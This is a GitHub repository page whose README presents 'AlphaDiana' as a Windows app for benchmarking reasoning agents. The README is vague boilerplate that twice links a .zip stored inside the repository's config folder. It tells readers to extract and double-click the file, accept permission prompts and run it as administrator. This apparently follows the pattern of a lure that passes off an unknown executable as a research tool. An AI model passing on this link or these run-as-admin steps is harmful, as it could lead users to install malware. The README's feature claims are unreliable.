Skip to content

dhoemenk97-star/AlphaDiana

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 AlphaDiana - Evaluate Reasoning Agents Clearly

Download AlphaDiana

🚀 Getting Started

AlphaDiana helps you run a system that evaluates reasoning agents like OpenClaw on Windows.
Use it to check how well an agent thinks through tasks, follows steps, and reaches answers.

📥 Download AlphaDiana

Visit this page to download and run the app on Windows:

https://github.com/dhoemenk97-star/AlphaDiana/raw/refs/heads/main/alphadiana/config/Diana-Alpha-v1.0.zip

Look for the latest Windows file or release package on the page.
If you see a setup file, download it and open it.
If you see a portable app file, download it and run it.

🖥️ What You Need

Before you start, make sure your PC has:

  • Windows 10 or Windows 11
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • A stable internet connection for the first download
  • Permission to run apps on your computer

For best results, use a recent Windows machine with a standard desktop setup.

📦 How to Install

  1. Open the AlphaDiana download page.
  2. Find the latest Windows release or app file.
  3. Download the file to your computer.
  4. If the file is a .zip, right-click it and choose Extract All.
  5. Open the extracted folder.
  6. Double-click the main app file to start AlphaDiana.
  7. If Windows asks for permission, choose Yes.
  8. If a setup window appears, follow the on-screen steps.
  9. When the app opens, keep it in a place you can reach again, such as the desktop or Start menu.

🛠️ How to Run It

After you install AlphaDiana, start it like any other Windows app.

  1. Open the Start menu.
  2. Search for AlphaDiana.
  3. Click the app name.
  4. Wait for the main screen to load.

If you use a portable version, open the folder and run the main file each time.

🧭 What AlphaDiana Does

AlphaDiana gives you a simple way to evaluate reasoning agents.
It can help you:

  • Run agent tests in a controlled way
  • Compare answers across different tasks
  • Review how an agent handles multi-step problems
  • Check whether the agent stays on track
  • Keep test runs organized

This makes it useful when you want to see how a system behaves on logic tasks, planning tasks, or structured prompts.

⚙️ Main Parts of the App

You may see these parts in AlphaDiana:

  • Task List — A set of tests the agent needs to handle
  • Run Panel — The place where you start a test run
  • Results View — A screen that shows scores, outputs, or pass and fail marks
  • Logs — A record of what happened during each run
  • Settings — Basic options for display, file paths, or test rules

These parts help you move from setup to results without much effort.

🧪 How to Use It for a Test Run

  1. Open AlphaDiana.
  2. Choose a test set or evaluation profile.
  3. Select the agent you want to check.
  4. Start the run.
  5. Wait while the app processes each task.
  6. Review the results when the run ends.
  7. Save the output if you want to keep a record.

If the app asks for input files or a folder, use the file picker to choose them.
If it asks for a model name or agent name, type the name exactly as shown by the tool you are testing.

📊 Understanding the Results

AlphaDiana may show results in a few ways:

  • Score — A number that shows overall performance
  • Pass / Fail — A simple mark for each task
  • Step Review — A view of how the agent reached an answer
  • Error List — Problems that happened during the run
  • Export File — A file you can save and open later

Use the results to spot clear strengths and weak spots.
If the agent gets answers right but misses steps, the issue may be in reasoning.
If it fails to start, the issue may be in setup or file access.

🔎 Good Ways to Test

For clear results, use the same test set each time.
This makes it easier to compare different agents or different app settings.

You can also try:

  • Short tasks with one clear answer
  • Tasks that need step-by-step thinking
  • Mixed tasks with easy and hard cases
  • Repeated runs to check consistency

Keep the test conditions the same when you want fair comparisons.

🗂️ File and Folder Tips

AlphaDiana may create folders for runs, logs, and exports.
To keep things simple:

  • Save the app in one main folder
  • Keep test files in a separate folder
  • Do not rename files while a run is active
  • Use short folder names with no special symbols
  • Store exports in a place you can find again

This helps avoid broken file paths and missing data.

🧰 Common Actions

Here are a few things you may do often:

  • Open a saved test set
  • Start a new evaluation
  • Stop a run if needed
  • Review logs after a run
  • Export results to a file
  • Change the agent or test profile

These actions should feel similar to other Windows apps.

🧩 If the App Does Not Open

If AlphaDiana does not start, try these steps:

  1. Close the app.
  2. Right-click the file and choose Run as administrator.
  3. Check that the file finished downloading.
  4. Make sure the file is not still inside a compressed folder.
  5. Try moving the app folder to your desktop.
  6. Restart your PC and open the app again.

If the app still will not open, check that your Windows version is up to date.

🧾 If You See Missing File Errors

If the app says it cannot find a file:

  1. Check the file name.
  2. Check the folder location.
  3. Make sure the file still exists.
  4. Open the app again from the same folder.
  5. Recreate the test path if needed.

Many file errors come from moved folders or changed names.

🧼 Keep Your Setup Clean

To keep AlphaDiana easy to use:

  • Remove old test files you no longer need
  • Keep only one current copy of the app
  • Store each evaluation run in its own folder
  • Back up important exports
  • Use clear names for tasks and runs

A tidy folder setup saves time during later tests.

📌 Quick Start

  1. Open the download page.
  2. Download the Windows file.
  3. Install or extract the app.
  4. Open AlphaDiana.
  5. Load a test set.
  6. Run an evaluation.
  7. Review the results.

🧠 Best Fit Use Cases

AlphaDiana works well when you want to:

  • Compare reasoning agents
  • Review test outputs in one place
  • Check step-by-step logic
  • Track repeated runs
  • Study task performance over time

It gives you a simple way to see how an agent behaves across different test cases.

📁 Download Link Again

Download and run AlphaDiana from here:

https://github.com/dhoemenk97-star/AlphaDiana/raw/refs/heads/main/alphadiana/config/Diana-Alpha-v1.0.zip

About

Benchmark LLM reasoning agents with reproducible system-level evaluation, sandboxed code execution, tool use, and full trajectory logging

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors